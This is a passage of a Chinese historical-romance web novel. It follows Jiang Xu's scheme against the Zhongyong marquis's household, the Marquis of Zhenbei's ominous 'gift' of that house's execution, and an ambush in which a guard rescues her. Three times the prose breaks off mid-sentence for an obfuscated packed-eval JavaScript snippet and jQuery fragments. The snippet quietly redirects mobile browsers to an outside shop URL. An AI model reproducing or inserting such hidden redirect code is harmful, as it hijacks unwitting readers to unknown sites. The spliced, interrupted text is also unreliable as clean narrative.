    手谕是证，鱼符为凭，二者互为印证。


    姜絮赌了一把，赌对方会觉得她只是一个女眷便诬她手谕作假，刚好刺激他抢夺手谕，最后再亮鱼符，坐实对方抢夺圣上手谕之罪。


    “抢夺圣上手谕，乃一谋逆大罪，不知几个忠勇侯府够担此责？”


    望着跪地瑟瑟发抖磕头求饶的一众家丁，姜絮的嘴角勾起一抹不易察觉的微笑，甩手拂去裙摆微尘，踏辇上车，马车轱辘碾过青石板路，缓缓汇入景明大街，朝着奉天门去了。


    -


    镇北候府。


    自姜絮离去后，叶淮生再无心练枪。


    晚风卷着庭中落叶擦过衣角，他抬手将酒坛墩在石桌上，震得一旁瓷盏轻响。


    他眉头紧锁，仍在思索着姜絮所言。


    “吻我，要是想活命的话。”


    他倒不是惜命，他只是想看看，这个一年前就求着圣上要赐婚与他的女子，究竟有多能豁得出去。


    被他那般恶意欺凌，她竟也是只是默默落泪，并不求饶。


    只是，喜欢一个人的眼神，不该是她那样，柔媚里藏着凉薄。


    他一眼看出，她并不是真心求嫁。


    那镇北候府究竟有什么，值得她从一年前就开始筹谋着要嫁进来？


    “现在呢？侯爷还要不要我？”


    认出她颈间的狼牙令时，他竟一瞬失神，看起来娇憨柔弱的一个官家女子，竟然敢亲下昭狱，更敢拿他生死兄弟的狼牙令来威胁他。


    她究竟有多大的胆子？


    想不通的事情太多了，叶淮生指尖扣着坛颈，正欲仰头猛灌，却见廊下拐角处一身墨色劲装的阿策求见。


    余光瞥了眼身后的两个侍卫，他装作不胜酒力的样子，抱着酒坛，深一步浅一步踉跄着回到书房。


    刚进书房，他便恢复清醒的神态，随之阿策也从屏风后走了出来。


    “侯爷，这是从那女子手里抢过来的。”


    明黄绢布手谕被交到叶淮生手里，他看了一眼，和圣上传的口谕一致，不过是赐婚前怕走漏风声让二人密见一面而已。


    拿到手里并无用处，叶淮生起了疑虑，问道：


    “你抢这个做什么？”


    “当时那女子被忠勇侯府的人围堵，便拿出手谕解围，结果忠勇侯府的人根本不认，想反抢手谕。”


    “属下想着那女子毕竟是侯爷的人，属下不能看着手谕被抢，就想着拿回侯爷手里，也是一样的。”


    “我的人？我什么时候说过她是我的人？”叶淮生质问。


    “侯爷恕罪，是属下多嘴了。”阿策小声回道。


    本来还想着邀功，但听侯爷的语气，似乎有点生气。


    把人家堵在廊柱上亲得昏天黑地的时候，没见生这么大气。


    “属下这就把手谕还回去。”阿策摊开右手，示意侯爷还回手谕。


    只是叶淮生盯着那手谕入了神，直到阿策一脸喊了好几声，他才反应过来，将手谕恋恋不舍地递过去，刚伸到半空，突然想到了什么，多了一丝警惕，问道：


    “忠勇侯府的人，为何堵她？”


    “不太清楚。”阿策回道，“只是属下拿到手谕后，又倒回去继续偷听，那女子说忠勇侯府的人抢圣上手谕，依《大兖律》，忠勇侯府全家夺爵，男丁充军，女眷入奴籍，永世不得翻身。”


    说完，阿策又补了句：


    “听她的语气，好像跟忠勇侯府有什么深仇大怨，需要属下去调查一下吗？”


    空气突然安静了半晌，见侯爷没有回答，阿策稍稍抬头，却对上侯爷逼视的眼神：


    “你究竟是我的暗卫？还是她的暗卫？”


    阿策见状立马跪地：


    “侯爷恕罪。”


    阿策觉得侯爷今日有些莫名其妙，前言不搭后语，又想问关于那女子的事，又不让他去调查。


    如此棘手，让他不知如何处理，只能默默退到侯爷身侧，等着侯爷发话。


    刚好此时内侍在门外求见，阿策便躲到屏风后面。


    “侯爷，圣上那边还等着侯爷回话呢。这姜家二姑娘，侯爷留还是不留？”


    叶淮生肩背斜倚窗棂，单手拎着半空的酒坛，闻言只是掀了掀眼尾，眉峰斜挑，喉间溢出一声极轻的嗤笑，半句回话也无，但个中态度，已然尽显。


    -


    御书房内，姜絮敛衽躬身，对着端坐于案前的圣上请安。


    交待完镇北候府之事后，姜絮话锋一转，在圣上问及其有无其他事情禀报时，她拘谨地问道：


    “陛下，此事无论成与成，仅看在臣女为君分忧的初心上，可否算得有几分薄功？”


    圣上指尖轻扣御案，面上无怒无喜：


    “你这份心意，朕会记着，也知你是个懂事的，只是这般急着论功，倒显得落了下乘。”


    圣上的语气平和，藏着提点，既顾着她分忧的情分，又暗指她贪功之心。


    听闻此言，姜絮“噗通”一声屈膝跪地，伏身叩首，声音带着几分惶恐：


    “陛下恕罪，臣女此言并非邀功，只为赎过。”


    圣上眼眸微抬，方才沉凝的神色散了大半，沉声问道：


    “你何过之有？”


    姜絮伏身不敢抬头，脊背绷紧，声音发颤：


    “臣女遭忠勇侯府家丁拦路寻衅，臣女无能，竟让陛下手谕遭家丁抢去，最后靠着陛下给的鱼符震慑众人才勉强逃出生天。”


    “臣女不敢奢求功劳，只求陛下恕臣女大不敬之罪。”


    这话一出，御书房内瞬间死寂，檀香似乎都凝在了半空。


    圣上方才还带着几分训诫的眼神，瞬间翻涌起雷霆怒意：


    “放肆！”


    圣上霍然起身，龙袍广袖拂过御案，奏折散落，殿内内侍宫女吓得齐刷刷跪地，头埋得极低，大气不敢喘一个，生怕触了龙鳞。


    姜絮跪在青石板地上，瑟瑟发抖，等着听圣上的裁断，却迟迟不见圣上有何进一步的惩戒，她不知问题出在了哪里，只能继续拱火。


    既然不治忠勇侯府的罪，那便先来治治她的罪。


    姜絮伏首跪地走到御前，双手将鱼符呈上：


    “臣女让忠勇侯府抢了手谕，有失职之责，请陛下收回鱼符，治臣女大不敬之罪。”


    圣上没有来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058373|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得及收回鱼符，眼底先闪过一丝疑虑，突然问道：


    “你不过一介尚书府女眷，忠勇侯府的家丁何故贸然拦路挑衅于你？”


    闻言，姜絮猛地肩头一颤，方才还强撑的镇定尽数坍塌。


    她死死攥着鱼符，想拼命把泪水忍回去，可往日心酸，泪水还是止不住的流了下来，砸在青砖上，晕开点点湿痕。


    “请陛下明察……”姜絮的声音哽咽，一时悲恸难抑，哭腔声尽显，一字一泣，将忠勇侯府次子屡次三番围追堵截之事上报。


    她哭得浑身发抖，声音里满是屈辱与恐惧：


    “臣女自知庶女身份低贱，无人庇护，从来不敢招惹是非。”


    ”此次忠勇侯府次子之事，臣女本想默默忍受，只是谁想他竟胆大包天，无视皇权，抢了圣上的手谕。”


    “臣女迫于无奈，不得不将事情缘由悉数禀报。”


    话落，姜絮早已哭得泣不成声，姿态卑微又可怜。


    圣上听得眉头皱紧，但眼里的怒火却渐渐淡了，反倒漫开了一抹了然与冷意。


    不过是个纨绔子弟强抢民女引发的争端罢了。


    圣上眼底的波澜逐渐消散，只剩帝王的凉薄与敷衍。


    他的眼神落在姜絮手里的鱼符上，念及她的分忧之情，当即抬手道：


    “起来吧，这鱼符你且拿着，朕将这鱼符赐你，往后若是再有人敢挑衅，凭此鱼符可以调动沿途巡防。”


    “此事朕自有处置，你且回府，莫再御前喧哗。”


    圣上话里话外都是逐客之意，半点没有方才听闻抢夺手谕时的雷霆之态，分明是拿个鱼符将姜絮打发了事。


    姜絮攥着鱼符僵在原地，泪水还挂在脸颊，满心的希冀瞬间凉了半截，屈辱与茫然交织，却不敢违逆圣意，只能含泪叩首谢恩。


    她想不通问题出在哪里，转念又想起方才在御前哭得上气不接下气，那般狼狈，却没有讨得半分好处。


    区区一个管家，都敢抢圣上手谕，那她拿着这鱼符又有什么用？


    若是李径日后继续为非作歹，她又能找谁？


    姜絮正心烦意乱着，掀起车帘一角，夜风灌进来，才稍稍压下几分火气，可心头那股憋屈劲儿，却半点没散，忽又听得前方马蹄声急促，车夫猛地勒马：


    “二小姐，有人拦路。”


    话音刚落，便闻一声烈马长嘶，栗色烈驹已拦在马车侧前方，正轻踏马蹄，朝车窗处过来。


    姜絮还未扶稳身形，便见车帘被掀开，风瞬间灌了进来。


    猝不及防，她抬眼便撞上叶淮生深邃的眼眸。


    那眼底似盛着夜色的冷沉，又带着几分桀骜的锐利，直直地看着向她泛红的眼眶和紧绷的下颌线。


    街上行人早已识得镇北候戴罪之身，纷纷屏息退让，生怕沾染上分毫，周遭静得只剩下烈马鼻息声。


    他的唇角勾起一抹极淡的嘲讽，声音低沉粗粝，穿透风声落进姜絮耳中：


    “怎么？哭红了眼，陛下也没给你做主？”


    听闻此言，姜絮顿时心头火气翻涌，抬手便要挥开他的马鞭，怒目瞪他：


    “与你何干，镇北候好大的胆子，戴罪之身竟敢拦朝臣女眷的车马。”


    叶淮生手腕微沉，稳稳攥着马鞭，非但不恼，反倒低笑一声，笑声混着几分桀骜。


    他俯身凑近车窗，睨着她哭红的眼尾，下巴微抬，轻佻之中藏着半吊子的真心说道：


    “他不给你做主，本侯给你做主。”

 5. 填命

    “他不给你做主，本侯给你做主。”


    听闻此言，姜絮感觉心头仿佛被什么东西撞了一下，有种说不上来的感觉。


    他说他给她做主。


    可他图什么呢？


    图她是颗保他命的棋子？


    可她这颗棋子，不久前还拿他兄弟的性命威胁过他。


    没理由啊。


    姜絮想不通，一时眼中情绪翻涌，她只能垂下眼眸遮掩，指尖无意识地摩挲袖口，一句反驳的话都说不上来，却又听见他自顾自地说道：


    “原来姜尚书府上，还有个姜二姑娘。”


    他的语气似是初识，又似恍然。


    姜絮垂眸沉思，直到叶淮生扬鞭策马，直奔奉天门去了，她才缓缓抬起眼眸，掀开窗帘，探身望着他身姿挺拔的背影逐渐消失在朱雀大街的夜色中。


    还有个姜二姑娘？


    他这话什么意思？


    他之前把她当成谁了？


    -


    姜絮刚回到府上，在前厅等候多时的姜若雪立马迎了上来，关切地问询：


    “怎么样？卫珏有没有帮你？他有没有同意？”


    姜絮将今日经过讲了一遍，略过了亲吻的片段，着重讲了叶淮生看了卫珏的狼牙令后勉强同意。


    卫珏是叶淮生的直属副将，也是执掌镇北候府的亲卫。


    姜若雪追逐叶淮生的那些年，叶淮生没见到，倒是与卫珏混了个眼熟，从卫珏处套得许多零碎的信息。


    在姜絮入镇北候前，姜若雪让她先去见了卫珏，借着姜若雪对叶淮生往前的一片赤诚之心，姜絮这才得了卫珏的信任，拿到了狼牙令，算是定下了婚约。


    “他说等他沉冤昭雪了就和离。”姜絮总结道，说话时总是忍不住触碰被亲得红肿的唇瓣。


    姜若雪对这个回答很是满意，却又瞥见姜絮神情略有异样，脸色瞬间沉了下来，语气心疼地问道：


    “他是不是欺负你了？”


    “镇北侯向来对京中贵女十分冷淡，之前有个女眷赠他荷包，被他当场丢进荷塘。”


    “后来听说那个女眷出家了，不知怎的后面又嫁给了忠勇侯府的次子。”


    “小妹，你可别招惹忠勇侯府的那个次子，听说他性子最是顽劣。”


    “好。”姜絮应道，心下却想着，已经招惹了。


    不知她今日拿手谕状告之事有没有传出去，如果当真让李径知道了，他只当会变本加厉。


    姜絮满面愁容，穿过月门洞，往沁竹院走着。


    才踏上青石小径，便见父亲背着手，立在海棠树下，望向她的眼神中似有深意，周遭连个伺候的小厮都没有带，应是有私话要说。


    姜絮快步上前，刚要行礼，就被姜衡抬手按住。


    他四下扫了眼，凑近几分，压低了声音说道：


    “今日圣上连夜召镇北候问话，听说是朝中证据已齐，基本上是坐实了通敌的罪名。”


    听闻此言，姜絮心头一震，想起刚才他拦她车马时那般桀骜不驯，并不像是进宫领罪的样子，怎的这么快就伏罪了。


    正觉此事蹊跷，又听见父亲说道：


    “你现在嫁过去，若是能找出他的罪证定他死罪，那也算立了大功一件。”


    “他不是都伏法了吗？我还要嫁过去？”姜絮问道，觉得父亲的话自相矛盾。


    他叹了口气，抬手伸出食指，慨叹道：


    “就差一步之遥。”


    听他的语气，不知是遗憾还是欣喜，姜絮又问道：


    “那他同意了？”


    他点了点头，无可奈何道：


    “听圣上说，圣上此前曾旁敲侧击，多次欲赐婚于镇北候，都被他拒绝了。”


    “偏偏此次，他唯独对你十分满意，满意到圣上话里话外都怀疑尚书府里有他的同谋。”


    “十分满意”几字听得姜絮浑身一震，满脸错愕，简直难以置信，还没反应过来，又听见父亲追问：


    “你今天在镇北候府到底做了什么？”


    “啊？”姜絮装傻。


    总不能说，给他亲了一下让他亲满意了吧。


    也不能说，阿姐让她去昭狱找陌生男人求助。


    她最后只能示弱，鼻头皱起，眼眶微红，声音发滞地问道：


    “难道父亲怀疑我是镇北候的同谋？”


    姜絮把“我”字咬得十分用力，语气里掺着一丝茫然与荒谬，倒让姜衡有些束手无策，觉得错怪了平日里循规蹈矩的女儿，忙安慰道：


    “为父不是那个意思……为父只是……”


    姜衡顿了一下，伸手抚了抚姜絮的肩膀，力道轻柔却满是歉意：


    “赐婚之事，应就在近几日。为父已知镇北候是必死的结局，却为了博什么忠臣良将的名声，将你往火坑里推。”


    “为父对不起你，也对不起你娘。”


    他抬手按着眉心，往日的愧疚翻江倒海，涌上心头，一时情难自抑，别过脸去，将满目颓然悉数隐藏在茫茫夜色里。


    姜絮听得鼻头发酸，眼眶微热，突然跪地，抱着姜衡的衣角说道：


    “父亲不必自责，这条路是女儿自己选的，无论生死，我都接受。”


    “女儿只盼镇北候之事，不要牵扯到姜家，便已知足。”


    一桩婚姻，赌一条命，她觉得值得。


    更何况这条命，背后还牵扯着千千万万将士的未来。


    怎么算，都值得。


    “罢了。”姜衡的声音压得极低，似在刻意抑制着颤抖：


    “你且记得用心搜集镇北候罪证，来日方可在圣上面前鉴明真心，免受牵扯。”


    姜絮攥紧衣角，咬着唇轻声应了句“女儿谨记”。


    -


    不到三天，圣上赐婚的消息便在全京城传开，京中流言四起。


    这天，姜絮换了身素衣布裙，带着青荷扮作寻常客人进了临街茶馆，刚拣了个角落坐下，堂上说书人醒木一拍，满座瞬间安静。


    “今日咱就说说这京中近日最荒唐之事，庶女嫁罪臣！”


    青荷一听就反应过来，喊了声“二姑娘”就欲拉着姜絮离席，却反被姜絮按下，眼神示意继续听。


    “诸位可知，某位官家庶女，如今京中人人唤她“填命媳”，说的便是圣上赐婚她与戴罪侯爷之事。”


    “那侯爷通敌叛国，此乃板上钉钉之事，此时赐婚，分明是用她的清白去给罪臣填命。”


    说书人故意停顿，待满座哄笑过后，将折扇一摇，继续调侃道：


    “京中都传，那庶女是自愿攀附罪臣，妄想等侯爷翻盘之日一步登天。”


    “可惜啊，侯门深似海，填命媳难活，嫁了罪臣郎，眼泪流成河！”


    说书人既没有提尚书府，也没有点镇北候，但满座议论纷纷，皆是直接带着姜絮的名声：


    “这姜二姑娘，不是近日都在传‘京中第一美娇娘’吗？求亲的人都踏破门槛了，她愣是一个都没看上，原来是嫌不够格啊！”


    “听说她出落得如谪仙一般，没想到也不过一介攀附罪臣的俗物罢了。”


    “可不是嘛！她要是一直端着，倒能坐实‘京中第一美娇娘’的名声，没想到如今竟上赶着做那镇北候府里的填命媳哈哈哈……”


    他这一笑，满堂宾客也跟着哄笑起来，纷纷拍桌叫好，茶碗碰撞声与哄笑声混作一团，震得人耳膜发疼。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058374|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    青荷心慈，从一开始就红了眼眶，此时见姜二姑娘被众人这般唾骂，竟比姜絮更伤心，吸了吸鼻子，抽抽嗒嗒的，忍着不让自己落泪。


    姜絮端坐在角落，全程平静无波，指尖慢悠悠地摩挲瓷碗，察觉到青荷的动静才淡然抬眸，轻声安慰道：


    “不过是些闲言碎语罢了，不必往心里去。”


    “可是小姐……”青荷委屈得撅着嘴说不出话，一时喉咙梗塞。


    姜絮轻轻按住青荷的手背，调侃道：


    “瞧你这委屈的，不知道的，还以为你是姜家二姑娘呢。”


    姜絮无奈带着青荷离席，起身结账时，身后的哄笑声仍未歇。


    说书人越说越激烈，只不过她脚步未停，径直走出门外，将流言蜚语都抛之脑后。


    只是没想到流言传得太快，街上几个小孩手牵手转圈圈，天真无忌地唱着童谣：


    “侯门深似海，填命媳难活，嫁了罪臣郎，眼泪流成河！”


    姜絮无路可去，最后只能打道回府，还未迈进大门，便远远见着姜若雪的婢女锦心从廊下匆匆跑来，请安后又急着带她去了兰汀园。


    兰汀园的洗芥亭中坐着抹风姿绰约的身影。


    姜若雪正倚着朱红亭柱，手里绞着绣帕，眉头紧蹙，满脸焦灼，见姜絮穿过假山石径朝她走来，忙着起身快步迎了上来：


    “你听说了吗？”


    姜若雪声音带着焦急，拉着姜絮往亭内走：


    “如今大街小巷都在传镇北候通敌之罪已成板上钉钉之事。”


    “也不知是从哪里传出的流言！”


    “京中这些人就爱嚼舌根，也不想想当年镇北候平定北疆之功，护得这京中多年安稳，到头来竟落得这般骂名！简直是卸磨杀驴。”


    姜若雪一连数语，丝毫不给姜絮插嘴的机会，待她再看向姜絮时，却觉得小妹眼中闪过一丝波澜，转瞬又回归平静，依旧如往常般淡然道：


    “是吗？我没怎么听到。”


    “没听到就好，没听到就好。”姜若雪似安慰姜絮，又似喃喃着安慰自己：


    “小妹，你不要听这些流言，你相信我，镇北候绝对是被冤枉的。”


    说着，姜若雪从怀里掏出一本线装小册。


    那册子看着有些年头，边角卷翘得厉害，纸页黄得发褐，封皮原有的字迹被摩挲得脱落，依稀可见淡淡墨痕，只是辨认不出原本字迹。


    “这是我这些年记着的镇北候的习惯与喜好。”


    似豁出去一般，姜若雪将小册狠狠塞进姜絮的掌心，力道重得带着几分急切：


    “你拿去吧，用这册子讨得镇北候的信任，再助他沉冤昭雪。”


    姜若雪顿了下，指尖微微发颤，声音里带着一腔孤勇的决绝：


    “即使他因此爱上你也没关系……只要他能活着就好。”


    姜絮攥着仍带温热的旧册，看着姜若雪殷红的眼眶，分明是赌上了她所有少女时期的心事，孤注一掷，只是为她的意中人博一线生机。


    可是她又想起父亲认定了镇北候的死罪，要她收集镇北候的罪证。


    她一时两难，只觉得这本旧册如同烫手山芋一般，烧得她心头发慌。


    恰在此时，青荷前来传话：


    “见过大小姐，见过二姑娘，镇北候让我知会二姑娘一声。”


    镇北候？


    他有何事？


    与她何干？


    姜絮与姜若雪对视一眼，见其眼中有些许诧异，亦有些许落寞，最后向她点了点头，姜絮才开口道：


    “何事？”


    “侯爷说，忠勇侯府即将满门抄斩，问二姑娘对这个礼物满意不？”

 6. 死透

    “侯爷说，忠勇侯府即将满门抄斩，问二姑娘对这个礼物满意不？”


    礼物？


    姜絮怔了半晌，猛然想起，前几日在朱雀大街，他曾说过，要为她作主。


    原来是这么个作主法。


    想起当日在宫中的种种委屈，姜絮心里顿时流过一股暖意，她从未将他的话放在心上，那日之言，她也只当是他嘲讽她的一句薄言罢了，没想到他还当真去为她作主了。


    片刻之后，这点小小的感激又被理智占据。


    他一个戴罪之身，如何能让忠勇侯府满门抄斩？


    京中流言传得沸沸扬扬，他此时惹出这个祸端不怕让流言更甚吗？


    当着姜若雪的面，姜絮没有将情绪表现出来，只是与姜若雪对视一眼后，故作惊诧道：


    “忠勇侯府？满门抄斩？所谓何事？”


    青荷摇头：“不知，当时我在院子里浇花，有个黑衣男子跳了进来，说是侯爷的话，务必要我立即送达。”


    不然她也不敢在二位小姐吵得眼泪汪汪的时候贸然打扰。


    大小姐心悦镇北候多年求而不得，此时二姑娘却白白捡了便宜即将嫁进那镇北候府，怪不得大小姐会哭得梨花带雨，还拉扯着二姑娘。


    要不是她及时出现，还不知道二姑娘要被她怎么欺负呢？


    待姜若雪离去后，青荷陪着姜絮往城外去，一边掀开马车车帘，一边忍不住劝道：


    “二姑娘，你如今是圣上御赐的诰命夫人，比夫人和大小姐的尊荣更高，何须再让着大小姐呢？”


    竟被大小姐气得眼睛通红，青荷看着就心疼。


    姜絮腰身轻折进了车厢，回道：


    “连你也是这么想的吗？”


    马车晃晃荡荡驶向城门口，姜絮撩起车帘一角，嘱咐了车夫一句：


    “快马前行，务必在未时前到达，不得延误。”


    而后又对青荷说道：


    “我还以为，全京城至少有你懂我。”


    “小姐……”青荷这才意识到自己说错话了，忙抓着姜絮的衣袖示软：


    “对不起小姐，是我说错话了。”


    姜絮斜身倚着车壁，阖目养神，淡然地回了句“无妨”，眼睫低垂似已小憩。


    青荷帮她理了理身后的软垫，让她能休息得更好些。


    这些天虽然她嘴上没说什么，但青荷能察觉到，二姑娘面容消瘦了许多，日日在窗前愁思，有几次不知是想到了什么，竟落下泪来，让青荷瞧见了，忙抹着眼泪说是眼睛涩得发痒。


    -


    马车停在栖云寺山门外，姜絮掀帘下车，一身青绿暗纹交领襦裙，外罩素纱褙子，髻上只簪了支碧玉簪子，整个人看起来素净清雅，哀婉的眉眼间又自带谪仙气质，与这山水间的千年古刹相得益彰，引得周围信众频频回首，视线追随着她往西尼院去。


    姜絮在女尼的接引下沿西尼院竹径慢行，两侧禅房静默幽深，风过竹林轻响，姜絮穿行其间，最后停在一处静室门前。


    待女尼通报后，门帘掀开，静室里檀香袅袅，净远师太一身灰布僧衣，手持念珠立于案前，见姜絮入内，当即躬身，双手合十行礼。


    姜絮福了福身回礼，与净远师太聊了几句佛门经典后便直入主题：


    “师太，我知佛门不沾俗世，可今日之事，事关人命，我迫不得已才前来相求。”


    见师太颔首静听，姜絮继续说道：


    “师太可还记得寺中先前带发清修的女尼，苏芸？应是还俗不到半年。她本是刺史家的庶女，年前遭贼人盯上，以家人性命逼其还俗，嫁入侯府。”姜絮字字恳切，语气坚定，“如今那侯府遭了难，恐将满门抄斩，苏芸亦将受株连，小女想求师太出面，救苏芸一命，留她在寺院清修。”


    师太眸光微动，轻叹一声，回道：


    “阿弥陀佛，女施主仁善，贫尼岂有不救之理？只是皇权在上，王法在前，纵是佛门，亦难违君命。”


    若是一句遁入空门就可了解万事的话，当日苏芸含泪还俗时，她便早已护着她了。


    姜絮早已料到如此，说道：


    “师太，官家斩的是罪臣满门，而苏芸是被那侯府次子强娶的民女，并非罪臣血亲。师太若是肯出面认她是寺中清修之人，她便是佛门弟子，纵是君命，也不可扰佛门净地。”


    见师太眉眼间仍有踌躇之意，姜絮继续说道：


    “小女今日只求师太一句首肯，认那苏芸曾是佛门之人，曾遭侯府强娶便可。若她有幸活命，日后还望能继续跟着师太修行。”


    至于救命之事，她得去求另一人。


    见姜絮言尽于此，师太双手合十，吟了句“阿弥陀佛”，算是应下，随即转身取来室中备用的空白居士帖，提笔蘸墨，一挥而就，重重盖下西尼院的朱红方印，双手将其递与姜絮。


    姜絮将居士帖收入怀中，拜别师太出山门，吩咐车夫快马回京。


    叶淮生只说了忠勇侯府即将满门抄斩，她不知道究竟是什么时候，因为什么事，她也不知道拿着这居士帖能否救下苏芸。


    她只知道，这是她一早就想好的，唯一的解救之法。


    “二姑娘为何要救她？”青荷见姜絮将怀中的居士帖捂得紧紧的，催车夫都催了三次，便好奇道，“之前要不是为了救她，二姑娘也不至于被忠勇侯府缠上，平添些后面的事端。”


    “青荷。”姜絮的语气里带了些斥责，“苏芸姑娘并没有因为我们出手就得救，反而因为我们牵连可能性命不保。你觉得我们该不该救？”


    此话一出，青荷这才反应过来，就说二姑娘平日里便不爱管闲事，今日一听说忠勇侯府之事，竟这般积极出手相救，于是也催促着车夫快马加鞭。


    夕阳褪去，暮色深沉，林间树叶零落翻飞，马车碾着落叶与黄土行至弯道，突然，“吁——”的一声，马车骤停。


    姜絮猛地身子前倾，脑袋狠狠撞向车窗，发髻被撞得散落，慌乱间指尖攥住车帘，还未稳住身形，便听得车夫一声惊喝：“不好——”，“好”字话音未落，便已咽气，随即马声嘶鸣倒地，车厢重重顿住。


    来不及思索，姜絮立马拉着青荷矮身缩在车厢角落，堪堪躲下的一瞬间，数支乱箭穿帘而入，其中一支冷箭擦着姜絮的耳畔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058375|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    钉在车板上。


    箭羽震颤作响，寒芒直露，杀意瞬间漫进车厢。


    青荷抱着姜絮发抖，小声啜泣：


    “有人要杀我们，小姐我们该怎么办？”


    姜絮按着青荷低头，急声呵斥：


    “贴紧车底，别出声！”


    姜絮也慌了神，出门的时候走的急，只带了车夫和婢女，但眼前这个情况，即使多带一个小厮，也无济于补。


    她与青荷在车厢内屏息安静了半晌，才听得外头传来几人粗声交谈：


    “也不知死透没有？”


    “这么多箭，早就死得透透了吧。”


    “你去看看。”


    随着一声令下，粗重的脚步声离车厢越来越近，每走一步，姜絮的心跳就加速几分，但面上仍强装镇定，安抚着受惊的青荷，脑子里还在不断思索劫车之人的所有可能。


    脚步声停在车外，那人似在用刀剁着车厢板，震得车厢晃动，吓得青荷没忍住发出一声惊呼。


    “原来没死呢。”车外之人厉声喝道，又朝身后的同伙大喊报信，随即一行大约五六人，脚步声带着杀气围拢车厢，仿佛下一秒就要劈开车门。


    赶在几人杀进来之前，姜絮强压着声音里的颤抖喊道：


    “外面的人听着！我乃尚书府千金，你等拦路劫杀，无非图财谋利。要多少金银只管开口，我回京后自会遣人送来。你们若敢伤我分毫，罪同劫杀朝廷女眷，定当严惩不赦。”


    “尚书府千金又如何？”外面传来一声粗笑，“金银玉石又如何？老子要的是你的项上人头！”


    说罢，那贼首刀背狠狠砸在车厢上，震得门帘簌簌作抖，又听得车厢内有女子的啜泣声传来，更是张狂，正欲拔刀杀进车厢，却又被一旁手下拦下：


    “大哥，不是说杀镇北候夫人吗？这尚书家的千金……”


    “废物！”贼首一脚将手下踹翻在地，骂道：


    “那赐婚给镇北候的不就是尚书府的千金吗！”


    说着，那贼首一声怒喝，一刀劈开车帘，泛着寒光的刀刃带着劲风朝姜絮头顶劈落，嘴里大吼一声：


    “受死吧！”


    疾风裹着杀气扑面而来，随着青荷的一声尖叫，姜絮还未反应过来，便下意识闭上眼睛，死死将青荷护在身下。


    刀剑落下的一刹，她只听得耳畔金铁交戈之声铮鸣。


    彷佛过了百年般漫长，待她再缓缓睁眼时，只见被劈裂的门帘外，立着一道墨色身影。


    看起来是十七八岁的少年模样，眉眼间却尽染雨雪风霜。


    他对着她垂首抱拳行礼，而他的身旁，则是转瞬间便被一剑封喉，倒地不起的五六个乡野贼人。


    “镇北候府暗卫阿策救驾来迟，望夫人恕罪。”阿策拱手致歉，躬身更甚。


    镇北候府？


    姜絮按住狂乱的心跳，指尖抚去鬓边微乱的发丝，定了定神，问道：


    “镇北候府暗卫，为何在此？”


    “等夫人回话。”阿策回道，见姜絮一脸茫然，解释道：


    “侯爷要我问夫人，侯爷送的礼物可否满意？”

 7. 抱抱

    “侯爷要我问夫人，侯爷送的礼物可否满意？”


    竟是因此事，苦等半日？


    “如果我说不满意呢？”姜絮回道，撑着车壁直起身来，手掌握拳，轻轻捶着吓得发软的膝盖。


    “不满意的话，属下这就回去复命。”阿策说着，转身便走，却听得身后传来一声呼唤：


    “阿策……”姜絮扬声喊道，下巴点了点早已瘫死在地口吐鲜血的马匹：


    “护送我们回去，我亲自跟他说。”她命令道。


    既然他叫她夫人，他应该是会听令的吧，她想。


    阿策迟疑了半晌，想起侯爷的嘱托：只需传话，不可多言，更不可节外生枝。但最后还是把重点放在了“亲自跟他说”上面，于是半跪在地，恭谨回道：


    “遵命。”


    马车车辕已断，姜絮折身在门帘前，正欲在青荷的搀扶下跳下马车，却见阿策喊了声“夫人且慢”，随即快步上前，单膝跪地：


    “夫人安危为重，请夫人踩着属下下车。”


    姜絮微微屈膝，足间轻点其上，借力下车，落地后稳稳站定。


    见此，姜絮觉得阿策至少是个通人情的，于是在回城的路上问道：


    “忠勇侯府满门抄斩，此事当真？”


    “千真万确。”


    “因何抄斩？”


    “通敌叛国。”


    阿策字字清晰，姜絮却以为自己听错了，又问了一遍：


    “当真？”


    阿策点头，眼神肯定。


    姜絮想不通，那忠勇侯是开国勋贵后裔，靠着祖上蒙荫袭爵，虽无实权，但在京中勋贵圈子中混得风生水起，自是有几分薄面，不然当日圣上也不会对抢手谕之事含糊其辞。


    “可有罪证？”姜絮问道。


    “当然了。”阿策双手抱肩，脸上扬着得意之情，朗声道：


